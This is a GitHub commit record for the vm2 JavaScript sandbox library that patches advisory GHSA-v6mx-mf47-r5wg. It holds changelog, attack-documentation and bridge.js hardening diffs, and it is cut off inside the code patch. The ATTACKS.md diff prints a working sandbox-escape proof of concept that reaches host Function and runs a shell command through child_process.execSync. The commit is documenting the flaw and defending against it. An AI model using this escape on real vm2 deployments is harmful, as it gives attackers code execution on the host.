{"sha":"27c525f4615e2b983f122e2bed327d810126f5c8","node_id":"C_kwDOAPKd99oAKDI3YzUyNWY0NjE1ZTJiOTgzZjEyMmUyYmVkMzI3ZDgxMDEyNmY1Yzg","commit":{"author":{"name":"Patrik Simek","email":"patrik@patriksimek.cz","date":"2026-05-17T08:05:47Z"},"committer":{"name":"Patrik Simek","email":"patrik@patriksimek.cz","date":"2026-05-17T08:23:30Z"},"message":"fix(GHSA-v6mx-mf47-r5wg): block host prototype mutation via apply-trap indirection\n\nTwo-layer structural fix in lib/bridge.js:\n\nLayer A (write-side, primary): cache the identity of every host-realm\nfunction that mutates [[Prototype]] (or could install code that mutates it)\n— Object.prototype.__proto__ setter, Object.setPrototypeOf,\nReflect.setPrototypeOf, Object.{defineProperty,defineProperties},\nReflect.defineProperty, Object.prototype.__define{Setter,Getter}__ — and\nrefuse any sandbox-initiated apply-trap invocation reaching one. Peel one\nlayer of indirection for Function.prototype.{call,apply,bind} (re-check\nunwrapped context) and Reflect.{apply,construct} (re-check unwrapped args[0]).\n\nLayer B (read-side, defense-in-depth): cache-check mappingOtherToThis at\nthe top of thisEnsureThis, before the proto-chain walk. Any previously\nbridged host value returns its existing proxy independent of subsequent\nprototype tampering. Fall-through paths intentionally unchanged so\nGHSA-9vg3-4rfj-wgcm (sandbox-realm null-proto via bridge from()) remains\nclosed.\n\nThe canonical PoC reached host Object.prototype.__proto__ setter via\nBuffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\") and called it\nwith a wrapped host NodeError.prototype as `this`. The apply trap\nunwrapped context and forwarded to the host setter, severing the host\nprototype chain. The next host TypeError from\n`await WebAssembly.compileStreaming()` then walked back into sandbox code\nthrough V8 async internals; thisEnsureThis's proto-walk failed to find\nany registered mapping and returned the raw host error unwrapped, exposing\nhost Function via e.constructor.constructor.\n\nBumps version to 3.11.4.\n\nTests in test/ghsa/GHSA-v6mx-mf47-r5wg/. ATTACKS.md Category 30.","tree":{"sha":"27f9a4d6b333bda882b9b5b7232070a9d24797b4","url":"https://api.github.com/repos/patriksimek/vm2/git/trees/27f9a4d6b333bda882b9b5b7232070a9d24797b4"},"url":"https://api.github.com/repos/patriksimek/vm2/git/commits/27c525f4615e2b983f122e2bed327d810126f5c8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null,"verified_at":null}},"url":"https://api.github.com/repos/patriksimek/vm2/commits/27c525f4615e2b983f122e2bed327d810126f5c8","html_url":"https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8","comments_url":"https://api.github.com/repos/patriksimek/vm2/commits/27c525f4615e2b983f122e2bed327d810126f5c8/comments","author":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"committer":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"parents":[{"sha":"e57bea4a791ec78f162c432fc0f6acb8d2bc9d23","url":"https://api.github.com/repos/patriksimek/vm2/commits/e57bea4a791ec78f162c432fc0f6acb8d2bc9d23","html_url":"https://github.com/patriksimek/vm2/commit/e57bea4a791ec78f162c432fc0f6acb8d2bc9d23"}],"stats":{"total":591,"additions":590,"deletions":1},"files":[{"sha":"59a35c9cd52d30a25268da28f53914c72cae9549","filename":"CHANGELOG.md","status":"modified","additions":8,"deletions":0,"changes":8,"blob_url":"https://github.com/patriksimek/vm2/blob/27c525f4615e2b983f122e2bed327d810126f5c8/CHANGELOG.md","raw_url":"https://github.com/patriksimek/vm2/raw/27c525f4615e2b983f122e2bed327d810126f5c8/CHANGELOG.md","contents_url":"https://api.github.com/repos/patriksimek/vm2/contents/CHANGELOG.md?ref=27c525f4615e2b983f122e2bed327d810126f5c8","patch":"@@ -1,5 +1,13 @@\n # Changelog\n \n+## [3.11.4]\n+\n+Single advisory closed. Patch release — no API changes.\n+\n+### Security fix\n+\n+- **GHSA-v6mx-mf47-r5wg** — host prototype mutation via apply-trap indirection. Sandbox code could reach host prototype-mutating setters (`Object.prototype.__proto__`, `setPrototypeOf`, `defineProperty`, `__defineSetter__`/`__defineGetter__`) through `Function.prototype.{call,apply,bind}` and `Reflect.{apply,construct}` indirection, sever a host intrinsic's prototype chain, and escape via the bridge's `thisEnsureThis` proto-walk fallthrough. Two-layer structural fix in `lib/bridge.js` (apply-trap blocklist + cache check before proto-walk). See ATTACKS.md Category 30 and `test/ghsa/GHSA-v6mx-mf47-r5wg/`.\n+\n ## [3.11.3]\n \n Single advisory closed. Patch release — no API changes."},{"sha":"42ff08cc29f012beb5287f29411f3848ae41e896","filename":"docs/ATTACKS.md","status":"modified","additions":131,"deletions":0,"changes":131,"blob_url":"https://github.com/patriksimek/vm2/blob/27c525f4615e2b983f122e2bed327d810126f5c8/docs%2FATTACKS.md","raw_url":"https://github.com/patriksimek/vm2/raw/27c525f4615e2b983f122e2bed327d810126f5c8/docs%2FATTACKS.md","contents_url":"https://api.github.com/repos/patriksimek/vm2/contents/docs%2FATTACKS.md?ref=27c525f4615e2b983f122e2bed327d810126f5c8","patch":"@@ -2242,6 +2242,135 @@ Together the two layers restore **[Defense Invariant #2](#defense-invariants)**\n \n ---\n \n+## Attack Category 30: Host Prototype Mutation via Bridged Setter Primitives\n+\n+**Uses**: [Category 2: Prototype Chain Manipulation](#attack-category-2-prototype-chain-manipulation), [Category 4: Error Object Exploitation](#attack-category-4-error-object-exploitation), [Category 7: Promise and Async Exploitation](#attack-category-7-promise-and-async-exploitation).\n+\n+### Description\n+\n+The bridge's `set` / `defineProperty` / `setPrototypeOf` proxy traps block direct mutation of host-realm objects from the sandbox (`isProtectedHostObject`). But the **apply trap** lets sandbox code invoke host functions with a host object as `this`. When the function being applied is host's `Object.prototype.__proto__` setter (or any prototype-mutating intrinsic — `Object.setPrototypeOf`, `Reflect.setPrototypeOf`, `Object.prototype.__defineSetter__`, etc.), the actual mutation happens inside the host intrinsic with `this` = the raw host object, **bypassing every write trap** because no proxy is involved in the assignment.\n+\n+Severing even a non-protected host prototype (Node-internal `NodeError.prototype`, a per-error `[[Prototype]]`, etc.) is enough to break downstream bridge invariants: once a host-realm chain is truncated, the bridge's proto-walking helpers (`thisFromOtherWithFactory`, `thisFromOtherForThrow`, `thisEnsureThis`) can no longer find a registered mapping at the right level, and the value can fall through unwrapped. From there `e.constructor.constructor` resolves to host `Function`, and `new HostFunction(\"return process\")()` yields RCE.\n+\n+The PoC reaches host's `__proto__` setter via:\n+\n+```javascript\n+const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\");\n+```\n+\n+`{}.__lookupSetter__` is sandbox-side but `connect()`'ed to host's, so when applied through `Buffer.call.call(...)` it returns host's `Object.prototype.__proto__` setter (wrapped as a bridge proxy). Calling `setProto.call(<wrapped host object>, null)` invokes the wrapped host setter via the apply trap. Before this fix the trap simply unwrapped `context` and forwarded the call to `otherReflectApply(hostSetter, rawHostObject, [null])`, mutating the host object's prototype.\n+\n+The canonical PoC pairs the setter primitive with `WebAssembly.compileStreaming()` to surface a host-realm `TypeError`:\n+\n+CWE-913 (Improper Control of Dynamically-Managed Code Resources).\n+\n+### Attack Flow\n+\n+1. Resolve `getProto` / `setProto` to host's `Object.prototype.__proto__` accessor via `Buffer.call.call({}.__lookup{Getter,Setter}__, Buffer, \"__proto__\")`.\n+2. Trigger a host-realm rejection — `await WebAssembly.compileStreaming()` throws a host `TypeError`.\n+3. In `catch (e)`, the host `TypeError` arrives wrapped (the first time the bridge has seen it). Call `setProto.call(getProto.call(e), null)`. The apply trap unwraps `context` to the raw host `TypeError.prototype` and forwards to the host setter, severing the host `TypeError.prototype.[[Prototype]]` from host `Error.prototype`.\n+4. Trigger a second host-realm rejection. The fresh host `TypeError` instance walks back into sandbox code through V8 internals (the await machinery delivers it directly). The bridge's proto-walk no longer reaches a registered mapping at the right level, so `ensureThis` falls through and returns the raw host `TypeError` unwrapped.\n+5. Sandbox reads `e.constructor` → raw host `TypeError` (unwrapped, never crossed the bridge), `.constructor.constructor` → host `Function`. `new HostFunction(\"return process\")()` returns host `process`. RCE.\n+\n+### Canonical Example\n+\n+```javascript\n+// (advisory GHSA-v6mx-mf47-r5wg)\n+const { VM } = require(\"vm2\");\n+const vm = new VM();\n+vm.run(`\n+  \"use strict\";\n+  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\");\n+  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\");\n+  async function f() {\n+    try { await WebAssembly.compileStreaming(); }\n+    catch(e) { setProto.call(getProto.call(e), null); }\n+    try { await WebAssembly.compileStreaming(); }\n+    catch(e) {\n+      const HostFunction = e.constructor.constructor;\n+      new HostFunction(\"return process\")()\n+        .mainModule.require('child_process').execSync('touch pwned');\n+    }\n+  }\n+  f();\n+`);\n+```\n+\n+### Why It Works\n+\n+The two underlying invariants violated:\n+\n+- **Invariant A (write-side)**: \"Sandbox code must not be able to mutate any host-realm object's prototype chain via the bridge.\" The proxy `set` / `defineProperty` / `setPrototypeOf` traps enforce this on direct mutation paths, but the apply trap creates a **second** mutation path — invoking a host prototype-mutating intrinsic *as a function* with a host object as `this`. The mutation happens inside the host intrinsic, not through any proxy, so no write trap fires.\n+- **Invariant B (read-side)**: \"No host-realm object reaches sandbox code unwrapped.\" The bridge identifies host objects by walking the prototype chain looking for a registered mapping. When a host chain has been severed, the walk fails to find the mapping and helpers like `thisEnsureThis` fall through and return the raw host value AS-IS.\n+\n+Together they form a compose-able primitive: mutate any host prototype → break the bridge's proto-walk recognition → next host value of that class arrives unwrapped → `e.constructor.constructor` chain to host `Function`.\n+\n+### Mitigation\n+\n+**Two-layer structural fix in `lib/bridge.js`.**\n+\n+**Layer A (write-side, primary): apply-trap refusal of host prototype mutators.** At bridge init, cache the identity of every host-realm function that mutates `[[Prototype]]` (or could install code that mutates it):\n+\n+```javascript\n+// host Object.prototype.__proto__ setter\n+addDangerousHostProtoMutator(\n+  otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Object, '__proto__').set\n+);\n+// host Object.prototype.__defineSetter__ / __defineGetter__\n+// host Object.setPrototypeOf / Object.defineProperty / Object.defineProperties\n+// host Reflect.setPrototypeOf / Reflect.defineProperty\n+```\n+\n+In the apply trap:\n+\n+```javascript\n+if (!isHost) {\n+  if (isDangerousHostProtoMutator(object)) throw new VMError(OPNA);\n+  // Peel one indirection layer: Function.prototype.call / .apply / .bind\n+  if (isApplyIndirectionPrimitive(object)) {\n+    const underlying = otherFromThis(context);\n+    if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA);\n+  }\n+  // Peel Reflect.apply / Reflect.construct (underlying is args[0])\n+  if (isReflectApplyPrimitive(object)) {\n+    const underlying = otherFromThis(args[0]);\n+    if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA);\n+  }\n+}\n+```\n+\n+The indirection peel covers the canonical PoC shape (`setProto.call(tp, null)`, where the apply target is `Function.prototype.call` and the dangerous function is `context`), `setProto.apply(tp, [null])`, and `Reflect.apply(setProto, tp, [null])`. The peel is depth-1 — recursive indirection (`Function.prototype.call.call(...)`) collapses into the same shape at the V8 level because `Function.prototype.call` is the apply target and its `context` is the inner reference.\n+\n+**Layer B (read-side, defense-in-depth): cache check before proto walk in `thisEnsureThis`.** Before walking the prototype chain, check `mappingOtherToThis` for an existing wrap of `other`. If found, return it. This catches host-realm values that the bridge has previously wrapped — even if their prototype chains were subsequently tampered with by some other route, the cache lookup is independent of the prototype chain.\n+\n+We deliberately do **not** wrap on the proto-walk fall-through paths (null proto, walked-off without finding a mapping). Wrapping there would re-introduce GHSA-9vg3-4rfj-wgcm — a sandbox-realm `{__proto__: null}` value passed to `handleException` would be turned into a host-treating proxy whose `set` trap unwraps sandbox-side proxies of host references onto the underlying object, recreating the very escape that fix closed. Layer A prevents the canonical attack from reaching a state where a fresh, never-bridged host object surfaces here through a tampered proto chain.\n+\n+### Detection Rules\n+\n+- **Sandbox-applied host `Object.prototype.__proto__` setter** — reached via `__lookupSetter__` on a host-prototype-bearing reference (`Buffer`, `Error.prototype`, etc.). The cache `dangerousHostProtoMutators` identifies it regardless of how it's named in the sandbox.\n+- **Sandbox-applied host `Object.setPrototypeOf` / `Object.defineProperty` / `Object.defineProperties`** — reached via `Object` (a bridge proxy of host `Object`) or via a host-side method that returns these.\n+- **Sandbox-applied host `Reflect.setPrototypeOf` / `Reflect.defineProperty`** — reached via `Reflect` (bridge proxy). `Reflect.apply` and `Reflect.construct` are tracked as indirection primitives so a sandbox using `Reflect.apply(setProto, tp, [null])` is also caught.\n+- **Sandbox-applied host `Object.prototype.__defineSetter__` / `__defineGetter__`** — would install attacker-defined accessors on a host target. Indirect mutation primitive; same chokepoint.\n+- **`Function.prototype.call` / `.apply` / `.bind` indirection** — the apply trap peels one layer to inspect the underlying function being applied. `setProto.call(...)` and `setProto.apply(...)` are caught.\n+- **`Reflect.apply` / `Reflect.construct` indirection** — the apply trap peels these and inspects `args[0]` as the underlying function.\n+\n+### Considered Attack Surfaces\n+\n+- **Sandbox-realm `Object.setPrototypeOf` / `Reflect.setPrototypeOf` on sandbox values** — not in the dangerous-mutator set (only host-realm copies are). Sandbox code can still mutate its own prototypes freely.\n+- **`__proto__` *getter* (read-only)** — not blocked. Reading a host prototype is not, by itself, a privilege-escalation primitive, and blocking the getter would break legitimate `instanceof` and inspection paths. The attack requires *writing*, which is what the dangerous-mutator set covers.\n+- **Deeper indirection** (`Function.prototype.call.call.call(...)`) — V8 collapses these at the spec level. The apply trap's `object` is always the outermost `Function.prototype.call`, and `context` is the next-inner reference. Depth-1 peel is sufficient.\n+- **`Function.prototype.bind` returning a new function** — bound functions don't immediately apply; they're invoked later. When the bound function is eventually applied, the apply trap fires again with the bound function as `object`. The bound function unwraps to a host-realm \"bound function exotic object\" rather than the original target, so the simple identity check on the bound function's identity wouldn't hit. However, sandbox-controllable bind paths reaching a dangerous mutator can be tested adversarially; if a bypass surfaces, the peel should be extended.\n+- **Symbol-based \"private\" setter slots** — not known to exist for prototype mutation. The defense covers the documented set of mutators.\n+\n+### Related Categories\n+\n+- [Category 2: Prototype Chain Manipulation](#attack-category-2-prototype-chain-manipulation) — sets up the attacker's goal of mutating a host prototype chain.\n+- [Category 4: Error Object Exploitation](#attack-category-4-error-object-exploitation) — the canonical PoC uses host-realm `TypeError` as the carrier.\n+- [Category 7: Promise and Async Exploitation](#attack-category-7-promise-and-async-exploitation) — `WebAssembly.compileStreaming()` rejection is the host-error source.\n+- [Category 26: Sandbox-Realm Null-Proto via Bridge `from()`](#attack-category-26-sandbox-realm-null-proto-via-bridge-from--set-trap-write-through) — explains why we cannot indiscriminately wrap fall-through values in `thisEnsureThis`.\n+\n+---\n+\n ## Considered Attack Surfaces\n \n These attack surfaces were analyzed and found to be safe or low-risk. They are documented here so future reviewers do not re-investigate them.\n@@ -2327,6 +2456,7 @@ The most dangerous attacks combine multiple categories. Each pattern references\n 20. **Array Species Self-Return + Object.assign** [Categories 3, 10, 18]: Create host array, set up self-referential species constructor, inject via `Object.assign` (bypasses proxy `set` trap), call `r.map(f)` for raw host values. Chain `cwu` calls to extract host `Function`.\n 21. **Host Built-in Identity Leak via Proto Walk** [Categories 1, 2, 8] (NOW FIXED): Walk the prototype chain via `({}).__lookupGetter__('__proto__')` composed with `Buffer.apply` (or any host-bound `__proto__` getter) to terminate at host `Object.prototype`, then read `.constructor` to obtain a *reference* to host `Object` whose identity is disjoint from sandbox `Object`. The original symbol-filter patch (commit `67bc511`) closed the demonstrated RCE payload but left this primitive intact — any future bypass that turns \"I have a host built-in handle\" into \"I can read a host symbol or call a host method that bypasses bridge sanitisation\" would re-enable the same escape class. Closed structurally by `thisAddIdentityMapping` in `lib/bridge.js` (see Category 8 mitigation).\n 22. **Async Generator yield*-Return Thenable + Stack-Overflow Realm Skew** [Categories 4, 7, 29] (NOW FIXED): Use `yield*` to a no-`return` inner async iterator, then `.return(thenable)` where the thenable's `.then` synchronously throws via deep recursion. V8's `PromiseResolveThenableJob` captures the throw and the yield* continuation surfaces it as `{ value, done: false }` — bypassing both the transformer's user-`catch` instrumentation and the `globalPromise.prototype.then` rejection sanitiser. Binary-search the recursion depth where the overflow originates inside V8's host C++ code so the `RangeError` is host-realm, then `e.constructor.constructor(\"return process\")()`. Closed by wrapping `%AsyncGeneratorPrototype%.next/.return/.throw` to route iterator-result `.value` and rejections through `handleException`, plus replacing every thenable arg with a sandbox-realm wrapper whose `.then` is a fixed `safeThen` and always-shadowing the non-function branch so V8's re-read of `.then` cannot observe attacker-controlled values.\n+23. **Host Prototype Mutation via Apply-Trap Indirection + WebAssembly Rejection** [Categories 2, 4, 7, 30] (NOW FIXED): Resolve host `Object.prototype.__proto__` setter via `Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\")` (the `connect()`-aliased sandbox `__lookupSetter__` walks back to host). Trigger a host-realm `TypeError` (e.g., `await WebAssembly.compileStreaming()`). Inside `catch(e)`, call `setProto.call(getProto.call(e), null)` — the apply trap unwraps `context` and forwards to the host setter, severing host `TypeError.prototype.[[Prototype]]` without any write trap firing. The next host `TypeError` from `await WebAssembly.compileStreaming()` walks back into sandbox code through V8 async internals; the bridge's proto-walk no longer finds the registered mapping at the right level and the value falls through unwrapped. `e.constructor.constructor` is then host `Function`. Closed structurally by (A) caching host prototype-mutating intrinsics (`Object.prototype.__proto__` setter, `Object.setPrototypeOf`, `Reflect.setPrototypeOf`, `Object.{defineProperty,defineProperties}`, `Reflect.defineProperty`, `Object.prototype.__define{Getter,Setter}__`) and refusing them in the apply trap with one layer of indirection peel for `Function.prototype.{call,apply,bind}` and `Reflect.{apply,construct}`; (B) cache-check on `mappingOtherToThis` before the proto-walk in `thisEnsureThis` so any previously-bridged host value returns the existing proxy even with a tampered proto chain.\n \n ### How The Bridge Defends\n \n@@ -2364,6 +2494,7 @@ The most dangerous attacks combine multiple categories. Each pattern references\n | Sandbox-realm null-proto via bridge `from()` set-trap write-through (GHSA-9vg3-4rfj-wgcm) | `handleException` and sandbox-Promise.then onFulfilled use `ensureThis` (sandbox-realm passthrough); host-Promise rejection sanitiser composes `from()` outside `handleException` so the GHSA-mpf8 invariant still wraps host null-proto values |\n | Internal state probe via computed property access on `globalThis` (GHSA-2cm2-m3w5-gp2f) | Bootstrap script declares `let VM2_INTERNAL_STATE_…` at script-top so the binding lands in the context's `[[GlobalLexicalEnvironment]]`; transformer-emitted `${INTERNAL_STATE_NAME}.handleException(…)` resolves there as before, but `globalThis[k]`, `Reflect.get`, descriptor APIs, and own-property enumeration cannot reach it (the global object's own-key table no longer contains the entry). Supersedes the identifier-only mitigation of GHSA-wp5r-2gw5-m7q7 by closing the entire computed-key class structurally. |\n | Bridge saved-state leak via `Array.prototype[N]` setter (GHSA-9qj6-qjgg-37qq) | `neutralizeArraySpeciesBatch` writes saved entries via `thisReflectDefineProperty`; appended slot is an own data property and no sandbox-installed setter is invoked while the bridge holds raw saved state |\n+| Host prototype mutation via apply trap (GHSA-v6mx-mf47-r5wg) | Apply trap caches the host prototype-mutating intrinsics (`Object.prototype.__proto__` setter, `Object.setPrototypeOf`, `Reflect.setPrototypeOf`, `Object.{defineProperty,defineProperties}`, `Reflect.defineProperty`, `__defineSetter__`, `__defineGetter__`) in `dangerousHostProtoMutators` and refuses any invocation reaching them — direct or via one-layer indirection through `Function.prototype.{call,apply,bind}` / `Reflect.{apply,construct}`. Read-side defense-in-depth in `thisEnsureThis` cache-checks `mappingOtherToThis` before the proto-walk so any previously-bridged host value returns the existing proxy even when its prototype chain has been tampered with by some other route. |\n \n ### Key Security Invariant: Promise Species Resolution Timing\n "},{"sha":"6b0a39a0abe65aef4073f1ed14338f4849ebded2","filename":"lib/bridge.js","status":"modified","additions":227,"deletions":0,"changes":227,"blob_url":"https://github.com/patriksimek/vm2/blob/27c525f4615e2b983f122e2bed327d810126f5c8/lib%2Fbridge.js","raw_url":"https://github.com/patriksimek/vm2/raw/27c525f4615e2b983f122e2bed327d810126f5c8/lib%2Fbridge.js","contents_url":"https://api.github.com/repos/patriksimek/vm2/contents/lib%2Fbridge.js?ref=27c525f4615e2b983f122e2bed327d810126f5c8","patch":"@@ -488,6 +488,9 @@ function createBridge(otherInit, registerProxy) {\n \t\treflectOwnKeys: thisReflectOwnKeys,\n \t\treflectEnumerate: thisReflectEnumerate,\n \t\treflectGetPrototypeOf: thisReflectGetPrototypeOf,\n+\t\t// SECURITY (GHSA-v6mx-mf47-r5wg): expose so the *other* bridge can\n+\t\t// identify this host-realm function in its dangerous-proto-mutator set.\n+\t\treflectSetPrototypeOf: thisReflectSetPrototypeOf,\n \t\treflectIsExtensible: thisReflectIsExtensible,\n \t\treflectPreventExtensions: thisReflectPreventExtensions,\n \t\tobjectHasOwnProperty: thisObjectHasOwnProperty,\n@@ -643,6 +646,163 @@ function createBridge(otherInit, registerProxy) {\n \t\t}\n \t}\n \n+\t// SECURITY (GHSA-v6mx-mf47-r5wg): Identity set of every host-realm function\n+\t// whose invocation would mutate (or could install code that mutates) the\n+\t// [[Prototype]] of an arbitrary object. The bridge's `set` / `defineProperty`\n+\t// / `setPrototypeOf` proxy traps already block direct mutation of host\n+\t// objects from the sandbox, but the apply trap let sandbox code invoke these\n+\t// intrinsics *as functions* with a wrapped host object as `this`, which\n+\t// bypasses every write trap because the actual mutation happens inside the\n+\t// host-realm intrinsic, not through a proxy.\n+\t//\n+\t// Even non-protected host prototypes (Node-internal `NodeError.prototype`,\n+\t// per-instance `[[Prototype]]`s, etc.) being severed is enough to break\n+\t// downstream bridge invariants — once a host-realm chain is truncated,\n+\t// `thisFromOtherWithFactory`'s proto-walk no longer finds a registered\n+\t// mapping and the value can fall through unwrapped (see the read-side\n+\t// hardening in `thisEnsureThis` below). Closing the write side here is the\n+\t// upstream chokepoint that prevents the underlying primitive from being\n+\t// invoked at all.\n+\t//\n+\t// Intrinsics covered:\n+\t//   - host `Object.prototype.__proto__` setter\n+\t//     (PoC: `Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\")`)\n+\t//   - host `Object.setPrototypeOf`\n+\t//   - host `Reflect.setPrototypeOf`\n+\t//   - host `Object.prototype.__defineSetter__` (would install a new __proto__\n+\t//     setter / data property on a host target, indirect mutation path)\n+\t//   - host `Object.prototype.__defineGetter__` (symmetric: redefines property\n+\t//     accessors on a host target)\n+\tconst dangerousHostProtoMutators = new ThisWeakMap();\n+\tfunction addDangerousHostProtoMutator(value) {\n+\t\tif (value === null || typeof value !== 'function') return;\n+\t\ttry {\n+\t\t\tthisReflectApply(thisWeakMapSet, dangerousHostProtoMutators, [value, true]);\n+\t\t} catch (e) {\n+\t\t\t/* best effort */\n+\t\t}\n+\t}\n+\t// SECURITY (GHSA-v6mx-mf47-r5wg): host `Function.prototype.call` /\n+\t// `Function.prototype.apply` / `Function.prototype.bind` — the canonical\n+\t// indirection primitives. When the apply-trap target is one of these,\n+\t// `context` is the *underlying* function being applied, and `args[0]` (for\n+\t// .call) / `args[0]` (for .apply, as a list) is its `this`. We need to\n+\t// inspect `context` to determine whether the underlying call is dangerous.\n+\tconst applyIndirectionPrimitives = new ThisWeakMap();\n+\tfunction addApplyIndirectionPrimitive(value) {\n+\t\tif (value === null || typeof value !== 'function') return;\n+\t\ttry {\n+\t\t\tthisReflectApply(thisWeakMapSet, applyIndirectionPrimitives, [value, true]);\n+\t\t} catch (e) {\n+\t\t\t/* best effort */\n+\t\t}\n+\t}\n+\tfunction isApplyIndirectionPrimitive(value) {\n+\t\tif (value === null || typeof value !== 'function') return false;\n+\t\ttry {\n+\t\t\treturn thisReflectApply(thisWeakMapHas, applyIndirectionPrimitives, [value]) === true;\n+\t\t} catch (e) {\n+\t\t\treturn false;\n+\t\t}\n+\t}\n+\t// host `Reflect.apply` / `Reflect.construct` — same idea but the underlying\n+\t// function is `args[0]` rather than `context`.\n+\tconst reflectApplyPrimitives = new ThisWeakMap();\n+\tfunction addReflectApplyPrimitive(value) {\n+\t\tif (value === null || typeof value !== 'function') return;\n+\t\ttry {\n+\t\t\tthisReflectApply(thisWeakMapSet, reflectApplyPrimitives, [value, true]);\n+\t\t} catch (e) {\n+\t\t\t/* best effort */\n+\t\t}\n+\t}\n+\tfunction isReflectApplyPrimitive(value) {\n+\t\tif (value === null || typeof value !== 'function') return false;\n+\t\ttry {\n+\t\t\treturn thisReflectApply(thisWeakMapHas, reflectApplyPrimitives, [value]) === true;\n+\t\t} catch (e) {\n+\t\t\treturn false;\n+\t\t}\n+\t}\n+\ttry {\n+\t\t// host Object.prototype.__proto__ setter\n+\t\tconst protoDesc = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Object, '__proto__');\n+\t\tif (protoDesc) {\n+\t\t\taddDangerousHostProtoMutator(protoDesc.set);\n+\t\t\t// Note: we intentionally do NOT add the getter — reading a host\n+\t\t\t// prototype is not, by itself, a privilege escalation primitive, and\n+\t\t\t// blocking the getter would break legitimate `instanceof` and\n+\t\t\t// inspection paths.\n+\t\t}\n+\t\t// Cache host `Function.prototype.call` / `Function.prototype.apply` as\n+\t\t// the canonical indirection primitives. The canonical PoC reaches host\n+\t\t// `__proto__` setter via `setProto.call(tp, null)`, where the apply\n+\t\t// trap target is `Function.prototype.call` (sandbox-side `.call` is\n+\t\t// `connect()`ed to host's). Tracking these lets us peel one indirection\n+\t\t// layer in the apply trap and inspect the *underlying* function for\n+\t\t// dangerousness.\n+\t\tif (otherGlobalPrototypes.Function) {\n+\t\t\tconst callDesc = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Function, 'call');\n+\t\t\tif (callDesc && callDesc.value) addApplyIndirectionPrimitive(callDesc.value);\n+\t\t\tconst applyDesc = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Function, 'apply');\n+\t\t\tif (applyDesc && applyDesc.value) addApplyIndirectionPrimitive(applyDesc.value);\n+\t\t\tconst bindDesc = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Function, 'bind');\n+\t\t\tif (bindDesc && bindDesc.value) addApplyIndirectionPrimitive(bindDesc.value);\n+\t\t}\n+\t\t// host Reflect.apply — `otherInit.reflectApply` (already exported).\n+\t\tif (typeof otherInit.reflectApply === 'function') {\n+\t\t\taddReflectApplyPrimitive(otherInit.reflectApply);\n+\t\t}\n+\t\tif (typeof otherInit.reflectConstruct === 'function') {\n+\t\t\taddReflectApplyPrimitive(otherInit.reflectConstruct);\n+\t\t}\n+\t\t// host Object.prototype.__defineSetter__ / __defineGetter__\n+\t\tconst defSetterDesc = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Object, '__defineSetter__');\n+\t\tif (defSetterDesc && defSetterDesc.value) addDangerousHostProtoMutator(defSetterDesc.value);\n+\t\tconst defGetterDesc = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Object, '__defineGetter__');\n+\t\tif (defGetterDesc && defGetterDesc.value) addDangerousHostProtoMutator(defGetterDesc.value);\n+\t\t// host Object.setPrototypeOf — reach via otherGlobalPrototypes.Object.constructor\n+\t\t// (which is host `Object`).\n+\t\tconst ctorDesc = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Object, 'constructor');\n+\t\tif (ctorDesc && ctorDesc.value) {\n+\t\t\tconst hostObjectCtor = ctorDesc.value;\n+\t\t\tconst ospDesc = otherSafeGetOwnPropertyDescriptor(hostObjectCtor, 'setPrototypeOf');\n+\t\t\tif (ospDesc && ospDesc.value) addDangerousHostProtoMutator(ospDesc.value);\n+\t\t\t// host Object.defineProperty / defineProperties — used to install a\n+\t\t\t// new __proto__ accessor on a host target. Same write-side concern\n+\t\t\t// as Object.setPrototypeOf when the first argument unwraps to a\n+\t\t\t// host-realm object.\n+\t\t\tconst dpDesc = otherSafeGetOwnPropertyDescriptor(hostObjectCtor, 'defineProperty');\n+\t\t\tif (dpDesc && dpDesc.value) addDangerousHostProtoMutator(dpDesc.value);\n+\t\t\tconst dpsDesc = otherSafeGetOwnPropertyDescriptor(hostObjectCtor, 'defineProperties');\n+\t\t\tif (dpsDesc && dpsDesc.value) addDangerousHostProtoMutator(dpsDesc.value);\n+\t\t}\n+\t\t// host Reflect.setPrototypeOf — the bridge result already exposes the\n+\t\t// host-side Reflect helpers via `otherInit.reflectGetPrototypeOf` etc.\n+\t\t// 